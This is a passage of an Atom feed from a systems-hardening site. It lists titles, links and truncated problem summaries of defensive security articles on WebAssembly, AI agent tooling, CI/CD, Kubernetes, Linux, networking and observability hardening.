    <summary>cargo-component WASM Build Tool Supply Chain Security
Problem
cargo-component is a Cargo subcommand maintained by the Bytecode Alliance (github.com/bytecodealliance/cargo-component) that extends...</summary>
  </entry>
  
  <entry>
    <title>Sandboxing npm postinstall Scripts with WASM: Containing the Axios RAT Pattern</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-npm-postinstall-sandbox/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-npm-postinstall-sandbox/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Sandboxing npm postinstall Scripts with WASM: Containing the Axios RAT Pattern
The Problem
npm install runs arbitrary code. When a package declares a postinstall script in its package.json, npm...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Sandboxing for OT Edge: WASI Capabilities as Conduit Enforcement</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-ot-edge-sandboxing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-ot-edge-sandboxing/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Sandboxing for OT Edge: WASI Capabilities as Conduit Enforcement
The Problem
OT edge gateways — industrial IoT concentrators, protocol converters, edge historians — increasingly run...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly OT Protocol Parsers: Memory-Safe Modbus and DNP3 Parsing</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-ot-protocol-parsers/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-ot-protocol-parsers/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly OT Protocol Parsers: Memory-Safe Modbus and DNP3 Parsing
The Problem
Zeek’s Modbus, DNP3, and BACnet protocol analysers are written in C++ and compiled as native binaries. They process...</summary>
  </entry>
  
  <entry>
    <title>Wasmer WebAssembly Runtime Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmer-runtime-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmer-runtime-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmer WebAssembly Runtime Security
Problem
Wasmer (wasmer.io, github.com/wasmerio/wasmer) is an open source WebAssembly runtime that exposes a universal API for embedding WASM execution inside Go,...</summary>
  </entry>
  
  <entry>
    <title>Wasmtime Async Component DoS: Hardening Against CVE-2026-27195</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-async-dos-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-async-dos-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmtime Async Component DoS: Hardening Against CVE-2026-27195
The Problem
CVE-2026-27195 is a denial-of-service vulnerability in Wasmtime’s component model async execution path. It crashes the host...</summary>
  </entry>
  
  <entry>
    <title>CrewAI Agent Sandbox Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/crewai-sandbox-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/crewai-sandbox-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>CrewAI Agent Sandbox Security
Problem
CrewAI is a Python framework for orchestrating teams of AI agents with defined roles, tools, and workflows. Agents are composed into crews — each agent is...</summary>
  </entry>
  
  <entry>
    <title>HuggingFace Hub Supply Chain Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/huggingface-model-hub-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/huggingface-model-hub-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>HuggingFace Hub Supply Chain Security
Problem
HuggingFace Hub is the dominant public repository for ML model weights, datasets, and Spaces. As of 2025 it hosts more than 900,000 models, spanning...</summary>
  </entry>
  
  <entry>
    <title>LangChain Serialization and Prompt Loading Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/langchain-serialization-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/langchain-serialization-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LangChain Serialization and Prompt Loading Security
Problem
LangChain is the dominant Python framework for building LLM-powered applications. It provides the scaffolding for chains, agents,...</summary>
  </entry>
  
  <entry>
    <title>LiteLLM Proxy Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/litellm-proxy-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/litellm-proxy-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LiteLLM Proxy Security Hardening
Problem
LiteLLM has become the dominant open-source LLM proxy for teams that need to route requests across multiple model providers from a single, unified endpoint. It...</summary>
  </entry>
  
  <entry>
    <title>MCP OAuth 2.1 Authorization Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-oauth-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-oauth-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>MCP OAuth 2.1 Authorization Security
Problem
Model Context Protocol (MCP) is an open protocol introduced by Anthropic in late 2024 for connecting LLM agents to external tools and data sources via...</summary>
  </entry>
  
  <entry>
    <title>Ollama Production Deployment Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ollama-deployment-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ollama-deployment-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Ollama Production Deployment Security
Problem
Ollama is an open-source tool designed to make running large language models locally and on servers as frictionless as possible. A single ollama serve...</summary>
  </entry>
  
  <entry>
    <title>Argo CD ApplicationSet and Cluster Generator Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/argocd-applicationset-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/argocd-applicationset-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Argo CD ApplicationSet and Cluster Generator Security
Problem
Argo CD ApplicationSets are a controller that generates multiple Argo CD Application resources from a single template using pluggable...</summary>
  </entry>
  
  <entry>
    <title>Dagger Pipeline Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/dagger-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/dagger-pipeline-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Dagger Pipeline Security
Problem
Dagger is a pipeline-as-code platform where CI/CD pipelines are written in Go, Python, TypeScript, or PHP using the Dagger SDK. Instead of YAML-driven CI definitions,...</summary>
  </entry>
  
  <entry>
    <title>GitHub App Installation Token Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-app-token-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-app-token-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub App Installation Token Security
Problem
Personal Access Tokens (PATs) became the default workaround for GitHub automation the moment the GitHub API launched. They are easy to generate,...</summary>
  </entry>
  
  <entry>
    <title>Harbor Container Registry Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cicd/harbor-registry-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/harbor-registry-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Harbor Container Registry Security Hardening
Problem
Harbor is the CNCF-graduated open source container registry most commonly chosen when organizations need a self-hosted alternative to Docker Hub or...</summary>
  </entry>
  
  <entry>
    <title>OpenTofu Provider and Module Supply Chain Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/opentofu-provider-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/opentofu-provider-supply-chain/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>OpenTofu Provider and Module Supply Chain Security
Problem
Every tofu init or terraform init invocation performs a sequence of network operations that most engineers treat as boilerplate: download...</summary>
  </entry>
  
  <entry>
    <title>Trusted Publishing to npm and PyPI with OIDC</title>
    <link href="https://www.systemshardening.com/articles/cicd/trusted-publishing-oidc/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/trusted-publishing-oidc/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Trusted Publishing to npm and PyPI with OIDC
Problem
Publishing to npm or PyPI has historically required a single point of failure: a long-lived API token generated by a human account, stored as a CI...</summary>
  </entry>
  
  <entry>
    <title>Keycloak and ZITADEL Token Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/keycloak-token-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/keycloak-token-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Keycloak and ZITADEL Token Security Hardening
Problem
Keycloak and ZITADEL are the two dominant open source identity providers (IdPs) used in production environments for authentication and...</summary>
  </entry>
  
  <entry>
    <title>NIST CSF 2.0 Implementation Guide for Engineering Teams</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/nist-csf-2-implementation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/nist-csf-2-implementation/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>NIST CSF 2.0 Implementation Guide for Engineering Teams
Problem
NIST released Cybersecurity Framework 2.0 in February 2024, the first major revision since CSF 1.1 in 2018. The headline change is a new...</summary>
  </entry>
  
  <entry>
    <title>OpenSSF Scorecard for Supply Chain Security</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/openssf-scorecard-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/openssf-scorecard-supply-chain/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OpenSSF Scorecard for Supply Chain Security
Problem
An average production service depends on hundreds of open source packages. Each package brings its own security posture: some have dedicated...</summary>
  </entry>
  
  <entry>
    <title>Internal Developer Platform Security</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/platform-engineering-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/platform-engineering-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Internal Developer Platform Security
Problem
An Internal Developer Platform (IDP) is the self-service control plane for an engineering organisation. Platforms built on Backstage (the CNCF-hosted open...</summary>
  </entry>
  
  <entry>
    <title>Splunk Enterprise Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/splunk-enterprise-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/splunk-enterprise-hardening/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Splunk Enterprise Security Hardening
Problem
Splunk Enterprise is the dominant commercial SIEM and log analytics platform in large enterprise environments. It collects, indexes, and searches log data...</summary>
  </entry>
  
  <entry>
    <title>HashiCorp Vault API Surface Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/vault-api-surface-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/vault-api-surface-hardening/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>HashiCorp Vault API Surface Hardening
Problem
HashiCorp Vault exposes its functionality through a unified HTTP API under the /v1/ prefix. Within that API, the /sys/ namespace is the system control...</summary>
  </entry>
  
  <entry>
    <title>Cluster API Security for Kubernetes Fleet Management</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/cluster-api-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/cluster-api-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Cluster API Security for Kubernetes Fleet Management
Problem
Cluster API (CAPI) is a Kubernetes project that brings declarative, Kubernetes-style APIs to cluster lifecycle management. Instead of...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes CSI NFS and SMB Driver Security</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/csi-nfs-smb-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/csi-nfs-smb-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes CSI NFS and SMB Driver Security
Problem
The official csi-driver-nfs and csi-driver-smb drivers, maintained by the Kubernetes SIG Storage team, enable pods to mount NFS shares and Windows...</summary>
  </entry>
  
  <entry>
    <title>gRPC-Go HTTP/2 Authorization Bypass Hardening</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/grpc-go-authorization-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/grpc-go-authorization-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>gRPC-Go HTTP/2 Authorization Bypass Hardening
Problem
google.golang.org/grpc — commonly called gRPC-Go — is the official Go implementation of gRPC and the transport backbone of the Kubernetes control...</summary>
  </entry>
  
  <entry>
    <title>ingress-nginx Annotation Injection Hardening</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ingress-nginx-injection-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ingress-nginx-injection-hardening/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>ingress-nginx Annotation Injection Hardening
Problem
ingress-nginx is the most widely deployed Kubernetes ingress controller. It translates Kubernetes Ingress resources into nginx configuration,...</summary>
  </entry>
  
  <entry>
    <title>KubeVirt VM Security on Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubevirt-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubevirt-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>KubeVirt VM Security on Kubernetes
Problem
KubeVirt extends Kubernetes to manage virtual machines alongside container workloads. Each VM runs as a virt-launcher pod: a privileged Kubernetes pod that...</summary>
  </entry>
  
  <entry>
    <title>OCI Image Volume Security in Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/oci-image-volume-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/oci-image-volume-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>OCI Image Volume Security in Kubernetes
Problem
OCI image volumes, introduced under KEP-4639, allow a Kubernetes pod to mount an OCI container image directly as a read-only volume without running that...</summary>
  </entry>
  
  <entry>
    <title>eBPF Verifier Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/ebpf-verifier-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/ebpf-verifier-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>eBPF Verifier Security Hardening
Problem
The eBPF verifier is the kernel subsystem that statically analyses every eBPF program before it is loaded into the kernel. Before a program can be attached to...</summary>
  </entry>
  
  <entry>
    <title>Linux Kernel Keyring Security and TPM2-Backed Keyrings</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-kernel-keyring-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-kernel-keyring-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Kernel Keyring Security and TPM2-Backed Keyrings
Problem
The Linux kernel keyring is a kernel-managed credential store that holds cryptographic keys, authentication tokens, and sensitive secrets...</summary>
  </entry>
  
  <entry>
    <title>Linux netfilter and nf_tables Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-netfilter-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-netfilter-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux netfilter and nf_tables Security Hardening
Problem
Linux netfilter is the kernel framework that underpins every form of packet filtering and network address translation on Linux systems....</summary>
  </entry>
  
  <entry>
    <title>Linux Page-Cache and splice() Security</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-page-cache-splice-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-page-cache-splice-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Page-Cache and splice() Security
Problem
The Linux page-cache is the kernel’s unified memory-backed store for file content. When a file is read, the kernel fetches its pages from disk into...</summary>
  </entry>
  
  <entry>
    <title>runc Container Runtime Security and CVE Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/runc-container-runtime-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/runc-container-runtime-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>runc Container Runtime Security and CVE Hardening
Problem
runc is the OCI-compliant low-level container runtime that sits beneath Docker, containerd, Podman, and CRI-O. When a container engine...</summary>
  </entry>
  
  <entry>
    <title>systemd Encrypted Service Credentials</title>
    <link href="https://www.systemshardening.com/articles/linux/systemd-credentials-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/systemd-credentials-hardening/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>systemd Encrypted Service Credentials
Problem
The most common way to pass a secret into a systemd service is also one of the most dangerous patterns in Linux operations: placing the secret directly...</summary>
  </entry>
  
  <entry>
    <title>BGP FlowSpec for DDoS Mitigation and Traffic Steering</title>
    <link href="https://www.systemshardening.com/articles/network/bgp-flowspec-ddos/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/bgp-flowspec-ddos/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>BGP FlowSpec for DDoS Mitigation and Traffic Steering
Problem
BGP FlowSpec (originally RFC 5575, updated and refined by RFC 8955) is an extension to the Border Gateway Protocol that distributes...</summary>
  </entry>
  
  <entry>
    <title>Cilium L7 Network Policy Security</title>
    <link href="https://www.systemshardening.com/articles/network/cilium-l7-policy-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/cilium-l7-policy-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Cilium L7 Network Policy Security
Problem
Cilium extends Kubernetes NetworkPolicy with application-layer (L7) awareness through its custom CiliumNetworkPolicy resource. Where standard Kubernetes...</summary>
  </entry>
  
  <entry>
    <title>Istio RBAC and Header Policy Security</title>
    <link href="https://www.systemshardening.com/articles/network/istio-rbac-header-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/istio-rbac-header-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Istio RBAC and Header Policy Security
Problem
Istio’s AuthorizationPolicy resource is the mesh’s primary L7 access control mechanism. Each policy defines who can reach a given workload based on the...</summary>
  </entry>
  
  <entry>
    <title>Link-Layer Security: ARP Spoofing Defence and DHCP Snooping</title>
    <link href="https://www.systemshardening.com/articles/network/link-layer-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/link-layer-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Link-Layer Security: ARP Spoofing Defence and DHCP Snooping
Problem
The Address Resolution Protocol (ARP) was designed in 1982 for a trusted, cooperative network. Its core mechanic — broadcast a...</summary>
  </entry>
  
  <entry>
    <title>Traefik Authentication Middleware Security</title>
    <link href="https://www.systemshardening.com/articles/network/traefik-auth-middleware-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/traefik-auth-middleware-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Traefik Authentication Middleware Security
Problem
Traefik is a cloud-native reverse proxy and load balancer designed around automatic service discovery. Unlike Nginx or HAProxy, Traefik integrates...</summary>
  </entry>
  
  <entry>
    <title>VXLAN and Geneve Overlay Network Security</title>
    <link href="https://www.systemshardening.com/articles/network/vxlan-geneve-overlay-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/vxlan-geneve-overlay-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>VXLAN and Geneve Overlay Network Security
Problem
VXLAN (RFC 7348) and Geneve (RFC 8926) are the dominant overlay protocols in cloud-native environments. Kubernetes CNI plugins — Flannel, Cilium in...</summary>
  </entry>
  
  <entry>
    <title>Grafana Beyla eBPF Auto-Instrumentation Security</title>
    <link href="https://www.systemshardening.com/articles/observability/beyla-ebpf-autoinstrumentation-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/beyla-ebpf-autoinstrumentation-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Grafana Beyla eBPF Auto-Instrumentation Security
Problem
Grafana Beyla is an eBPF-based automatic instrumentation agent that produces distributed traces and metrics for HTTP, gRPC, SQL, Redis, and...</summary>
  </entry>
  
  <entry>
    <title>Grafana SQL Expressions and Plugin RCE Hardening</title>
    <link href="https://www.systemshardening.com/articles/observability/grafana-sql-expressions-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/grafana-sql-expressions-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Grafana SQL Expressions and Plugin RCE Hardening
Problem
Grafana has evolved from a dashboard rendering tool into a full-stack observability platform — and with that expansion comes a substantially...</summary>
  </entry>
  
  <entry>
    <title>Graylog Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/observability/graylog-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/graylog-security-hardening/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Graylog Security Hardening
Problem
Graylog is an open source log management and SIEM platform used as a self-hosted alternative to Splunk and Elastic SIEM. It collects log data via GELF, syslog,...</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry Tail-Based Sampling for Security-Critical Traces</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-tail-sampling-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-tail-sampling-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry Tail-Based Sampling for Security-Critical Traces
Problem
Sampling is the mechanism by which a tracing system decides which traces to store and which to discard. At any meaningful...</summary>
  </entry>
  
  <entry>
    <title>Prometheus Remote Write and Config Endpoint Security</title>
    <link href="https://www.systemshardening.com/articles/observability/prometheus-remote-write-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/prometheus-remote-write-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Prometheus Remote Write and Config Endpoint Security
Problem
Prometheus remote write forwards metrics from a local Prometheus instance to a remote backend — Grafana Cloud, Thanos, Cortex, Mimir, or...</summary>
  </entry>
  
  <entry>
    <title>Vector Log Pipeline Security</title>
    <link href="https://www.systemshardening.com/articles/observability/vector-log-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/vector-log-pipeline-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Vector Log Pipeline Security
Problem
Vector is a high-performance, open source observability data pipeline written in Rust and maintained primarily by Datadog engineers at...</summary>
  </entry>
  
  <entry>
    <title>jco JavaScript/WASM Component Model Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/jco-wasm-component-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/jco-wasm-component-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>jco JavaScript/WASM Component Model Security
Problem
jco is the Bytecode Alliance’s official JavaScript toolchain for the WebAssembly Component Model. Its primary function is transpilation: given a...</summary>
  </entry>
  
  <entry>
    <title>WASM AOT Compilation Pipeline Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-aot-compilation-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-aot-compilation-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM AOT Compilation Pipeline Security
Problem
WebAssembly modules execute in two fundamentally different modes at runtime. The first — interpreted or JIT — compiles the .wasm bytecode on first load,...</summary>
  </entry>
  
  <entry>
    <title>WASM Exception Handling v2 Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-exception-handling-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-exception-handling-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Exception Handling v2 Security
Problem
The WebAssembly exception handling proposal has undergone a significant redesign between its original form and the version now shipping in production...</summary>
  </entry>
  
  <entry>
    <title>WASM memory64 Security Implications</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-memory64-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-memory64-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM memory64 Security Implications
Problem
Classic WebAssembly (memory32) defines all memory addresses as i32 values, capping linear memory at 4 GiB. That hard ceiling is not merely a capacity...</summary>
  </entry>
  
  <entry>
    <title>WASM Tail Calls Security Implications</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-tail-calls-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-tail-calls-security/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Tail Calls Security Implications
Problem
The WebAssembly tail calls proposal reached Stage 4 and shipped in V8/Chrome 112+ and Wasmtime 18+, enabling two new instructions: return_call and...</summary>
  </entry>
  
  <entry>
    <title>Wasmtime WASI Resource Limit Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-wasi-resource-limits/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-wasi-resource-limits/</id>
    <published>2026-05-02T00:00:00.000Z</published>
    <updated>2026-05-02T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmtime WASI Resource Limit Security
Problem
Wasmtime’s ResourceLimiter trait is the primary mechanism by which host embedders constrain what a guest WASM module can demand from the host. A host...</summary>
  </entry>
  
  <entry>
